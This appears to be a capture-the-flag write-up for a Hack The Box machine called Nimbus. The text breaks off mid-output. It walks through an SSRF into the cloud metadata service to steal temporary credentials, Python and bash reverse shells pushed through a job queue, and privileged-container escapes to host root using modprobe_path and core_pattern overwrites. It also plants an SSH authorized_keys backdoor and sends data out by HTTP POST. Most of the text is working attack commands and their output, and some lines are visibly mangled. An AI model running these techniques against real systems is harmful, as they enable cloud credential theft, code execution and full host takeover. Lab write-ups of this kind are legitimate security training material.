POSTS

HTB: Nimbus

Nimbus is a Hard-rated Linux machine that hosts a job-processing service backed by a simulated AWS stack. This write-up walks the full path: mapping the external services, abusing a server-side request instead of attacking the login form directly, harvesting temporary cloud credentials from the instance metadata service, and turning message-queue access into code execution inside the worker. The second half covers post-exploitation inside the worker container, how a hardcoded credential set plus the emulator's permissive identity handling granted unrestricted API access, and three different ways to convert a privileged CodeBuild container into root on the host: a `modprobe_path` overwrite, a `core_pattern` hijack, and an SSH key injection.

HTB: Nimbus
4901 words · 24 min

Overview

Attack Paths

Reconnaissance (nimbus.htb)
│
├─ Nmap full-port scan of 10.129.xxx.xxx
│   → SSH (22), HTTP (80), redirect → nimbus.htb → added to /etc/hosts
│
└─ Gobuster vhost enumeration against nimbus.htb
    → aws.nimbus.htb (403, token-protected) → added to /etc/hosts

Initial Foothold (worker)
│
├─ SSRF in the job submitter's URL fetch
│   └─ .yaml/.yml extension check bypassed with query/fragment suffix (?x=.yaml)
│
├─ IMDS reached via IP-to-decimal encoding (2852039166 = 169.254.169.254)
│   ├─ http://2852039166/latest/meta-data/iam/security-credentials/#.yml
│   │   → role name: nimbus-web-role
│   └─ .../nimbus-web-role?x=.yaml
│       → STS credentials (AccessKeyId + SecretAccessKey + SessionToken)
│
├─ aws sts get-caller-identity
│   → assumed-role/nimbus-web-role, account 847219365028
│
├─ aws sqs list-queues
│   → http://floci:4566/847219365028/nimbus-jobs (emulated SQS)
│
└─ Inject SQS job message with attacker-controlled "script" field (Python)
    → shell as worker (uid=1000) → cat /home/worker/user.txt → 👤 user.txt

Privilege Escalation (host root)
│
├─ LinPEAS inside the worker container
│   ├─ /app + worker.py writable by worker
│   └─ Hardcoded AWS keys in env → nimbus-worker-role (long-lived)
│
├─ Identify the AWS emulator: floci (LocalStack-compatible, 172.18.0.2:4566)
│   └─ /_localstack/health → every service "running", incl. CodeBuild
│
├─ unset AWS_SESSION_TOKEN → emulator treats caller as account root
│   (LocalStack behavior: no IAM policy enforcement by default)
│   → unrestricted access: S3, IAM, Lambda, EC2, CodeBuild, SSM, ...
│
├─ Create CodeBuild project with privilegedMode = true + start build
│   → real privileged container (--privileged) on the host containerd
│
├─ Path A: modprobe_path overwrite
│   ├─ upperdir=$(grep overlay /proc/mounts) → shared overlayfs on host
│   ├─ drop grab.sh there (cat /root/root.txt → world-readable copy)
│   ├─ echo "$upper/tmp/grab.sh" > /proc/sys/kernel/modprobe
│   ├─ trigger module load with invalid magic bytes (\xff\xff\xff\xff)
│   │   → host kernel runs grab.sh as root
│   └─ POST results to HTTP catcher → 🚩 root.txt
│
├─ Path B: core_pattern hijack (alternative)
│   ├─ buildspec reverse shell → root inside the privileged build container
│   ├─ UDIR=$(sed -n upperdir regex /proc/self/mountinfo)
│   ├─ echo "|${UDIR}/exploit_root.sh" > /proc/sys/kernel/core_pattern
│   └─ kill -11 $$ (crash a process)
│       → host kernel runs payload as root → 🚩 root.txt
│
└─ Path C: modprobe_path overwrite + SSH key injection (alternative)
    ├─ inline buildspec payload appends attacker pubkey
    │   → /root/.ssh/authorized_keys on the host
    ├─ modprobe_path trigger executes payload.sh as root on host
    └─ ssh -i id_root root@nimbus.htb → 🚩 root.txt

Full-Chain Autopwn (bonus)
│
├─ SSRF → IMDS with octal IP (0251.0376.0251.0376 = 169.254.169.254)
├─ STS creds → SQS job whose Python payload chains the whole escape
└─ Base64 HTTP callback listener (/user + /root endpoints)
    → user.txt + root.txt recovered in a single run, no interactive shell

Enumerating the External Services

Port Scanning with Nmap

The first step is a full TCP scan with service and version detection. Two services come back: OpenSSH 9.6p1 on port 22 and nginx 1.24.0 on port 80. The HTTP title check reveals that the site redirects to http://nimbus.htb, which is our first hint that a virtual host is expected.

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xxx.xxx
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-21 07:46 +0900
Nmap scan report for 10.129.xxx.xxx
Host is up (0.54s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nimbus.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The hostname needs to be mapped before the site will load properly:

$ echo '10.129.xxx.xxx nimbus.htb' | sudo tee -a /etc/hosts

Discovering the Cloud Subdomain

Because the redirect to nimbus.htb hints at virtual hosting, a vhost enumeration pass against the main site is worth running. It quickly surfaces a second host, aws.nimbus.htb, which returns a 403 when visited.

$ gobuster vhost -u http://nimbus.htb -t 50 -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain --exclude-status 301
...
aws.nimbus.htb Status: 403 [Size: 305]

Adding both names to /etc/hosts and browsing to the new subdomain shows a page stating that a security token is required, which tells us this is an API-like endpoint rather than a normal website:

$ echo '10.129.xxx.xxx aws.nimbus.htb' | sudo tee -a /etc/hosts

Initial Access: From SSRF to an AWS Worker Shell

Getting to Know the Application

The main site at nimbus.htb is a job processing portal, version 1.4.2. Sign-in is not possible directly, which steers us away from credential attacks and toward the application’s actual functionality.

The FAQ is the most valuable discovery, because it explains the intended workflow: job definitions are YAML files that the platform fetches from a URL (or accepts pasted inline for ad-hoc runs) and then executes.

How do I submit a job?

Drop the YAML in our internal Git, then point the job submitter at the raw URL. Or paste the YAML directly for ad-hoc runs.

Bypassing the URL Validation

The submitter fetches URLs server-side, which immediately suggests SSRF. The only check visible in behavior is that fetched URLs must end in .yaml or .yml. This check turns out to be naive: a query string or fragment appended after the extension still satisfies it, so the server can be pointed at any path on any host it can reach:

name: test
schedule: "* * * * *"
runtime: python3.11

The job output confirms the fetch runs inside the worker container as nimbus/worker, so anything the server fetches is executed from that trust boundary.

Stealing Cloud Credentials from the Metadata Service

With a working SSRF primitive, the classic next step is the instance metadata service on 169.254.169.254. A direct URL to that address would be rejected by the extension check, but the IP itself can be encoded differently: converting it to its decimal form (2852039166) leaves the meaning unchanged for the HTTP library, while the .yml suffix rides along as part of the path:

http://2852039166/latest/meta-data/iam/security-credentials/#.yml

That returns the attached IAM role name, nimbus-web-role:

A second request, this time to the role itself (with the same trailing-check trick), returns a full set of STS credentials:

http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?x=.yaml
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQX4PG7L2K9M3N5R8",
  "SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs",
  "Token": "IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM",
  "Expiration": "2026-06-21T06:29:11Z"
}

With those exported, the full AWS CLI can be pointed at the emulated endpoint:

$ export AWS_ACCESS_KEY_ID="ASIAQX4PG7L2K9M3N5R8" AWS_SECRET_ACCESS_KEY="bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs" AWS_DEFAULT_REGION="us-east-1" AWS_EC_METADATA_DISABLED="true"

sts get-caller-identity is the AWS equivalent of whoami, and confirms the identity the stolen credentials resolve to: an assumed role named nimbus-web-role, bound to account 847219365028:

$ aws sts get-caller-identity --endpoint-url http://aws.nimbus.htb
{
    "UserId": "AROAQX4PG7L2K9M3N5R8H:i-0a1b2c3d4e5f6789a",
    "Account": "847219365028",
    "Arn": "arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a"
}

Finding the Job Queue

The role can interact with SQS, and listing the queues in the account reveals where jobs are actually submitted on the backend:

$ aws sqs list-queues --endpoint-url http://aws.nimbus.htb
{
    "QueueUrls": [
        "http://floci:4566/847219365028/nimbus-jobs"
    ]
}

Probing messages through the portal showed that the worker parses each message and executes the Python code in its script field. At that point the whole frontend has effectively been reduced to “write Python into the queue”.

Turning a Queue Message into a Shell (user)

A short Python reverse shell in the script field is enough. A Penelope listener is started first:

$ penelope -i tun0 -p 443
[+] Listening for reverse shells on <ATTACKER MACHHINE IP>:443

The job can be submitted through the portal:

or straight through the CLI as a message body:

{
  "name": "revshell",
  "runtime": "python3.11",
  "script": "import socket,subprocess,os,pty;s=socket.socket();s.connect(('<ATTACKER MACHHINE IP>',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"
}
$ aws sqs send-message \
  --endpoint-url http://aws.nimbus.htb \
  --queue-url http://aws.nimbus.htb/847219365028/nimbus-jobs \
  --message-body '{"name":"probe2shell","runtime":"python3.11","script":"import os; os.system('"'"'printf L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42Mi80NDMgMD4mMQ==|base64 -d|bash'"'"')"}'
{
    "MD5OfMessageBody": "b2fac532cbe89ae4c47c5cfbf6c6bda2",
    "MessageId": "d734c3f0-e744-44ca-9a07-1380143a226f"
}

The shell lands as user worker in the application container, and the user flag is a straight read:

[+] [New Reverse Shell] => 05f47444ed1e 10.129.xxx.xxx Linux-x86_64 👤 worker(1000) 😍️ Session ID <1>
worker@83aabbae38b9:/app$ cat /home/worker/user.txt
REDACTED

A note on shell durability. The worker runs each job with a 30-second timeout, so a plain foreground reverse shell dies quickly. A detached variant survives it: subprocess.Popen(..., start_new_session=True) releases the shell from the job process before the timeout kills it, so the session persists.

{
  "name": "revshell-user-detached",
  "schedule": "* * * * *",
  "runtime": "python3.11",
  "script": "import subprocess; subprocess.Popen(['/bin/bash','-c','bash -i >& /dev/tcp/<ATTACKER MACHHINE IP>/443 0>&1'], start_new_session=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)"
}
$ aws --endpoint-url http://aws.nimbus.htb sqs send-message \
    --queue-url http://floci:4566/847219365028/nimbus-jobs \
    --message-body file://revshell_user_detached.json

Privilege Escalation: Escaping the Container to the Host (root)

Post-Exploitation Enumeration Inside the Container

With a persistent shell, standard Linux enumeration applies. The container’s /etc/hosts already sketches the network layout: nimbus.htb, aws.nimbus.htb, and a third container on the 172.18.0.0/16 Docker network:

worker@83aabbae38b9:/app$ cat /etc/hosts
127.0.0.1	localhost
172.18.0.1	aws.nimbus.htb
172.18.0.1	nimbus.htb
172.18.0.3	83aabbae38b9

LinPEAS, uploaded and run from /tmp, highlights two critical findings. First, /app and its worker.py are writable by the worker user; second, the environment contains a second, different AWS credential pair, clearly intended for the worker process itself:

worker@83aabbae38b9:/app$ cd /tmp
worker@83aabbae38b9:/tmp$ curl -o linpeas.sh <ATTACKER MACHHINE IP>/linpeas.sh
worker@83aabbae38b9:/tmp$ chmod +x linpeas.sh
worker@83aabbae38b9:/tmp$ ./linpeas.sh
...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200) (T1574.009,T1574.010)
╚ https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-files
/app
/app/requirements.txt
/app/worker.py
/home/worker
...
╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars (T1552.007,T1082)
AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN
AWS_DEFAULT_REGION=us-east-1
AWS_ENDPOINT_URL=http://aws.nimbus.htb
AWS_SECRET_ACCESS_KEY=dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
HOME=/home/worker
HOSTNAME=83aabbae38b9

Reading the Worker Source

The worker script itself is the best roadmap. It polls the nimbus-jobs SQS queue every five seconds, parses each message with yaml.load(body, Loader=yaml.Loader), and runs any script field through subprocess.run(["python3", "-c", script], timeout=30):

worker@83aabbae38b9:/app$ cat /app/worker.py
"""Nimbus job worker. Polls SQS, parses messages with yaml.load (vulnerable)."""
import os, time, subprocess, boto3, yaml

ENDPOINT  = os.environ.get("AWS_ENDPOINT_URL", "http://aws.nimbus.htb")
QUEUE_URL = os.environ.get("QUEUE_URL", "http://aws.nimbus.htb/000000000000/nimbus-jobs")
REGION    = os.environ.get("AWS_DEFAULT_REGION", "us-east-1")
POLL_SECS = 5

print(f"[worker] starting; endpoint={ENDPOINT} queue={QUEUE_URL}", flush=True)
sqs = boto3.client("sqs", endpoint_url=ENDPOINT, region_name=REGION)

def handle_message(body):
    print(f"[worker] received message ({len(body)} bytes)", flush=True)
    job = yaml.load(body, Loader=yaml.Loader)  # vulnerable
    if not isinstance(job, dict):
        print("[worker] message did not parse to a dict, skipping", flush=True)
        return
    name = job.get("name", "<unnamed>")
    script = job.get("script", "")
    print(f"[worker] running job '{name}'", flush=True)
    if script:
        result = subprocess.run(["python3", "-c", script],
            capture_output=True, text=True, timeout=30)
...

Two independent flaws coexist in that function. The use of yaml.Loader instead of yaml.SafeLoader allows arbitrary Python object deserialization (the classic !!python/object/apply: vector), and independently, the by-design script execution passes any submitted code to a Python interpreter with no sandbox or allowlist. Either one alone is remote code execution; the write-up above used the second.

Meeting Floci: The AWS Emulator Behind the Curtain

The queue URL http://floci:4566/847219365028/nimbus-jobs is the giveaway.

worker@83aabbae38b9:/tmp$ export AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN
worker@83aabbae38b9:/tmp$ export AWS_SECRET_ACCESS_KEY="dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh"
worker@83aabbae38b9:/tmp$ export AWS_ENDPOINT_URL=http://aws.nimbus.htb
worker@83aabbae38b9:/tmp$ unset AWS_SESSION_TOKEN
worker@83aabbae38b9:/tmp$ aws --endpoint-url http://aws.nimbus.htb sqs list-queues
{
    "QueueUrls": [
        "http://floci:4566/847219365028/nimbus-jobs"
    ]
}

Real SQS queue URLs look like https://sqs.<region>.amazonaws.com/<account-id>/<queue-name>; this one points to a bare hostname on port 4566, which is where LocalStack-compatible emulators listen.

Floci is a from-scratch, MIT-licensed reimplementation of that role (Java/Quarkus/GraalVM, started in early 2026 as a drop-in replacement for LocalStack after its community edition became paywalled: same port, no auth tokens, no feature gates). Its repository can be pulled for source review:

$ git clone https://github.com/hectorvent/floci

From the container, floci resolves to the second container on the Docker network:

worker@83aabbae38b9:/app$ getent hosts floci
172.18.0.2      floci

The _localstack/health endpoint enumerates every simulated service, including CodeBuild:

worker@83aabbae38b9:/app$ curl -s http://floci:4566/_localstack/health
{"edition":"community","services":{"ssm":"running","sqs":"running","s3":"running",
 ...,"codebuild":"running","codedeploy":"running",...}}

The Critical Misconfiguration: No IAM Enforcement

The AWS credentials found in the environment authenticate as a second role, nimbus-worker-role:

worker@83aabbae38b9:/app$ export AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN
worker@83aabbae38b9:/app$ export AWS_SECRET_ACCESS_KEY="dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh"
worker@83aabbae38b9:/app$ export AWS_ENDPOINT_URL=http://aws.nimbus.htb
worker@83aabbae38b9:/app$ unset AWS_SESSION_TOKEN
worker@83aabbae38b9:/app$ aws --endpoint-url http://aws.nimbus.htb sts get-caller-identity
{
    "UserId": "AROA7P3R9X4K8M2L5VHNT:worker",
    "Arn": "arn:aws:sts::847219365028:assumed-role/nimbus-worker-role/worker"
}

The decisive trick is unsetting AWS_SESSION_TOKEN. LocalStack-compatible emulators do not enforce IAM policies by default: when no valid assumed-role session credentials are presented, the caller is simply treated as the account’s root identity:

worker@83aabbae38b9:/app$ export AWS_ENDPOINT_URL=http://172.18.0.2:4566
worker@83aabbae38b9:/app$ unset AWS_SESSION_TOKEN
worker@83aabbae38b9:/app$ aws sts get-caller-identity
{
    "UserId": "847219365028",
    "Arn": "arn:aws:iam::847219365028:root"
}

The ARN change from assumed-role/nimbus-worker-role/worker to iam::847219365028:root means the authorization boundary is gone entirely: unrestricted access to every AWS API the emulator provides (S3, IAM, Lambda, EC2, Secrets Manager, CodeBuild, SSM, …). To be explicit, this is root in the emulator’s sense, not on the host or in the container. It does not escape anything by itself; it just removes the API-side guardrails. The escape still has to be built from whatever provisioned service can reach outside the sandbox, and CodeBuild fits that role. It responds even to the restricted identity, and is writable as the emulated root:

worker@83aabbae38b9:/app$ aws --endpoint-url http://floci:4566 codebuild list-projects
{
    "projects": []
}

Weaponizing CodeBuild: A Build Container with Host Powers

CodeBuild users build inside a container, and Floci’s implementation actually spins one up when a build runs. The privilegedMode flag on the project’s environment requests that this container be launched with --privileged, which grants full access to host devices and, crucially for what follows, a shared view of host kernel interfaces such as /proc/sys/kernel/*.

The project creation request only needs a name, a NO_SOURCE/NO_ARTIFACTS skeleton, a Linux container environment, and the flagship flag:

worker@83aabbae38b9:/tmp$ cat > /tmp/create-project.json <<'EOF'
{
  "name": "nimbus-escape",
  "source": {"type": "NO_SOURCE"},
  "artifacts": {"type": "NO_ARTIFACTS"},
  "environment": {
    "type": "LINUX_CONTAINER",
    "computeType": "BUILD_GENERAL1_SMALL",
    "image": "floci/floci:latest",
    "privilegedMode": true
  },
  "serviceRole": "arn:aws:iam::000000000000:role/codebuild-role"
}
EOF

worker@83aabbae38b9:/tmp$ AWS_ENDPOINT_URL=http://172.18.0.2:4566 \
AWS_ACCESS_KEY_ID=test \
AWS_SECRET_ACCESS_KEY=test \
AWS_DEFAULT_REGION=us-east-1 \
aws codebuild create-project --cli-input-json file:///tmp/create-project.json

Output:

{
    "project": {
        "name": "nimbus-escape",
        "arn": "arn:aws:codebuild:us-east-1:847219365028:project/nimbus-pwn",
        "source": {
            "type": "NO_SOURCE"
        },
        "artifacts": {
            "type": "NO_ARTIFACTS"
        },
        "environment": {
            "type": "LINUX_CONTAINER",
            "image": "floci/floci:latest",
            "computeType": "BUILD_GENERAL1_SMALL",
            "environmentVariables": [
                {
                    "name": "BASH_FUNC_id%%",
                    "value": "() { echo \"uid=1000(worker) gid=1000(worker) groups=1000(worker)\"; }",
                    "type": "PLAINTEXT"
                }
            ],
            "privilegedMode": true
        },
        "serviceRole": "arn:aws:iam::000000000000:role/codebuild-role",
        "timeoutInMinutes": 60,
        "queuedTimeoutInMinutes": 480,
        "created": "2026-06-21T01:52:08.663000+00:00",
        "lastModified": "2026-06-21T01:52:08.663000+00:00",
        "projectVisibility": "PRIVATE"
    }
}

The API reply echoes privilegedMode: true back, confirming the build container really will be privileged.

Escape Path A: modprobe_path Overwrite

With a privileged container on the host daemon, the classic modprobe_path technique applies (see sam4k’s kernel exploitation notes and this CodeBuild-as-a-service reference). The kernel executes whatever executable /proc/sys/kernel/modprobe points at, as root on the host, when an unknown binary format triggers a module load request. A privileged container can overwrite that file.

A small HTTP catcher running in another container session receives the results exfiltration:

worker@83aabbae38b9:/tmp$ cat > /tmp/catcher.py <<'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(n)
        print(f"--- {self.path} ---")
        print(body.decode(errors='replace'))
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 9001), H).serve_forever()
EOF

worker@83aabbae38b9:/tmp$ python3 /tmp/catcher.py

The build is started with a buildspecOverride that performs the whole escape in a handful of commands: fingerprint the container, locate the overlayfs upperdir, write a tiny script into it that copies /root/root.txt to a world-readable file, point /proc/sys/kernel/modprobe at that script, and trigger a module load with an invalid magic number:

worker@83aabbae38b9:/tmp$ aws codebuild start-build \
  --project-name nimbus-escape \
  --buildspec-override 'version: 0.2
phases:
  build:
    commands:
      - "set +e"
      - "W=http://172.18.0.3:9001"
      - "( id; whoami; echo ---mounts---; grep overlay /proc/mounts; echo ---modprobe---; cat /proc/sys/kernel/modprobe ) > /tmp/dbg.txt 2>&1"
      - "curl -sS -X POST --data-binary @/tmp/dbg.txt $W/dbg --max-time 5 || true"
      - "upper=$(sed -n \"s/.*upperdir=\\([^,]*\\).*/\\1/p\" /proc/mounts | head -1)"
      - "echo \"UPPER=$upper\" > /tmp/dbg2.txt"
      - "printf \"#!/bin/sh\\ncat /root/root.txt > %s/tmp/flag.txt 2>&1\\nchmod 666 %s/tmp/flag.txt\\n\" \"$upper\" \"$upper\" > /tmp/grab.sh"
      - "chmod +x /tmp/grab.sh"
      - "echo \"$upper/tmp/grab.sh\" > /proc/sys/kernel/modprobe"
      - "printf \"\\xff\\xff\\xff\\xff\" > /tmp/trigger"
      - "chmod +x /tmp/trigger"
      - "/tmp/trigger 2>&1 >> /tmp/dbg2.txt || true"
      - "sleep 3"
      - "cat /tmp/flag.txt >> /tmp/dbg2.txt 2>&1"
      - "curl -sS -X POST --data-binary @/tmp/dbg2.txt $W/escape --max-time 5 || true'

The catcher receives the callback, showing the build container running as root (inside the container), the modprobe pointer rewritten to the script on the shared overlayfs upperdir, and finally the copied root flag:

--- /dbg ---
worker@83aabbae38b9:/tmp$ python3 /tmp/catcher.py
--- /dbg ---
uid=1000(worker) gid=1000(worker) groups=1000(worker)
root
---mounts---
overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/8/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/7/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/6/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/5/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/3/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/work,nouserxattr 0 0
---modprobe---
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/198/fs/tmp/grab.sh

--- /escape ---
UPPER=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/fs
#!/bin/sh
cat /root/root.txt > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/fs/tmp/flag.txt 2>&1
chmod 666 /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/fs/tmp/flag.txt
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/202/fs/tmp/grab.sh
-rw-rw-rw- 1 root root 33 Jun 21 02:32 /tmp/flag.txt
REDACTED

The chain is complete: a CodeBuild project this account should never have controlled, running in a privileged container, reads the host’s root flag into a path the build container can see.

Escape Path B: core_pattern Hijack (Alternative)

This path reaches root inside the privileged CodeBuild container first (the same project creation, but the buildspec simply calls back to a Penelope listener), then escapes via a different kernel knob:

$ penelope -i tun0 -p 4443
[+] Listening for reverse shells on <ATTACKER MACHHINE IP>:4443
worker@83aabbae38b9:/tmp$ cat << 'EOF' > codebuild-exploit.py
import boto3

buildspec = """version: 0.2
phases:
  build:
    commands:
      - echo "Shell coming to you!"
      - bash -c 'bash -i >& /dev/tcp/<ATTACKER MACHHINE IP>/4443 0>&1' || true
"""

cb = boto3.client('codebuild', endpoint_url='http://floci:4566',
    aws_access_key_id='test', aws_secret_access_key='test', region_name='us-east-1')

try:
    cb.delete_project(name='shell')
except:
    pass

cb.create_project(
    name='shell',
    source={'type': 'NO_SOURCE'},
    artifacts={'type': 'NO_ARTIFACTS'},
    environment={
        'type': 'LINUX_CONTAINER',
        'computeType': 'BUILD_GENERAL1_SMALL',
        'image': 'floci/floci:latest',
        'privilegedMode': True,
    },
    serviceRole='arn:aws:iam::000000000000:role/codebuild-role',
)

r = cb.start_build(
    projectName='shell',
    environmentVariablesOverride=[
        {'name': 'BASH_FUNC_id%%', 'value': '() { echo uid=1000; }', 'type': 'PLAINTEXT'}
    ],
    buildspecOverride=buildspec,
python3 codebuild-exploit.pyid'])

Output:

Build: shell:1
[+] [New Reverse Shell] => ff8613cd687c 10.129.xxx.xxx Linux-x86_64 👤 uid=1000 😍️ Session ID <1>
[root@ff8613cd687c src]#

The idea is the same shared-kernel trick with a different trigger. The container’s root filesystem is an overlay whose writable upperdir sits on the host, so anything written inside the container exists on the host too. And /proc/sys/kernel/core_pattern, unlike the mount namespace, belongs to the host kernel: it tells the kernel what program to run as root whenever a process crashes, and that program does not have to exist inside the container.

First, locate the upperdir and drop a payload there:

[root@ff8613cd687c src]# UDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
[root@ff8613cd687c src]# echo $UDIR
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/210/fs

[root@ff8613cd687c src]# printf '#!/bin/sh\ncat /root/root.txt > %s/rootflag.txt\nchmod 777 %s/rootflag.txt\n' "$UDIR" "$UDIR" > /exploit_root.sh
[root@ff8613cd687c src]# chmod +x /exploit_root.sh

Next, point core_pattern at the host-side path of that script, and crash a process so the kernel runs it as root:

[root@ff8613cd687c src]# echo "|${UDIR}/exploit_root.sh" > /proc/sys/kernel/core_pattern
[root@ff8613cd687c src]# ulimit -c unlimited
[root@ff8613cd687c src]# bash -c 'kill -11 $$' || true

A few seconds later the output file exists and contains the root flag:

[root@ff8613cd687c src]# sleep 5
[root@ff8613cd687c src]# cat $UDIR/rootflag.txt
REDACTED

Escape Path C: modprobe_path + SSH Key Injection (Alternative)

The third route is a more persistent variant of Path A that trades HTTP exfiltration for an SSH backdoor.

A dedicated keypair is generated, and a CodeBuild project carries its entire payload in an inline buildspec. The buildspec writes a host-side script into the overlay upperdir that appends the attacker’s public key to /root/.ssh/authorized_keys, points modprobe_path at it, and triggers the module load:

$ ssh-keygen -t ed25519 -N '' -f id_root
$ cat id_root.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARSmphVYop4zIJb3E3uRsBvQG7ZzXF+XlqhpvDj0IG5...
worker@83aabbae38b9:/tmp$ cat > /tmp/project.json << 'EOF'
{
  "name": "nimbus-ssh",
  "source": {
    "type": "NO_SOURCE",
    "buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - |\n        cat > /tmp/payload.sh << 'PAYLOAD'\n        #!/bin/sh\n        mkdir -p /root/.ssh\n        echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARSmphVYop4zIJb3E3uRsBvQG7ZzXF+XlqhpvDj0IG5' >> /root/.ssh/authorized_keys\n        chmod 700 /root/.ssh\n        chmod 600 /root/.ssh/authorized_keys\n        PAYLOAD\n      - chmod +x /tmp/payload.sh\n      - |\n        upper=$(awk '/overlay/{match($0,/upperdir=([^,]+)/,a);if(a[1])print a[1]}' /proc/mounts | head -1)\n        echo \"$upper/tmp/payload.sh\" > /proc/sys/kernel/modprobe\n      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true\n"
  },
  "artifacts": {
    "type": "NO_ARTIFACTS"
  },
  "environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL",
    "privilegedMode": true,
    "environmentVariables": [
      {
        "name": "BASH_FUNC_id%%",
        "value": "() { echo \"uid=0(root) gid=0(root) groups=0(root)\"; }",
        "type": "PLAINTEXT"
      }
    ]
  },
  "serviceRole": "arn:aws:iam::000000000000:role/codebuild-role"
}
EOF

worker@83aabbae38b9:/tmp$ AWS_ACCESS_KEY_ID=test \
AWS_SECRET_ACCESS_KEY=test \
AWS_ENDPOINT_URL=http://floci:4566 \
AWS_DEFAULT_REGION=us-east-1 \
aws codebuild create-project --cli-input-json file:///tmp/project.json

Output:

{
    "project": {
        "name": "nimbus-ssh",
        "arn": "arn:aws:codebuild:us-east-1:847219365028:project/nimbus-ssh",
        "source": {
            "type": "NO_SOURCE",
            "buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - |\n        cat > /tmp/payload.sh << 'PAYLOAD'\n        #!/bin/sh\n        mkdir -p /root/.ssh\n        echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARSmphVYop4zIJb3E3uRsBvQG7ZzXF+XlqhpvDj0IG5' >> /root/.ssh/authorized_keys\n        chmod 700 /root/.ssh\n        chmod 600 /root/.ssh/authorized_keys\n        PAYLOAD\n      - chmod +x /tmp/payload.sh\n      - |\n        upper=$(awk '/overlay/{match($0,/upperdir=([^,]+)/,a);if(a[1])print a[1]}' /proc/mounts | head -1)\n        echo \"$upper/tmp/payload.sh\" > /proc/sys/kernel/modprobe\n      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true\n"
        },
        "artifacts": {
            "type": "NO_ARTIFACTS"
        },
        "environment": {
            "type": "LINUX_CONTAINER",
            "image": "floci/floci:latest",
            "computeType": "BUILD_GENERAL1_SMALL",
            "environmentVariables": [
                {
                    "name": "BASH_FUNC_id%%",
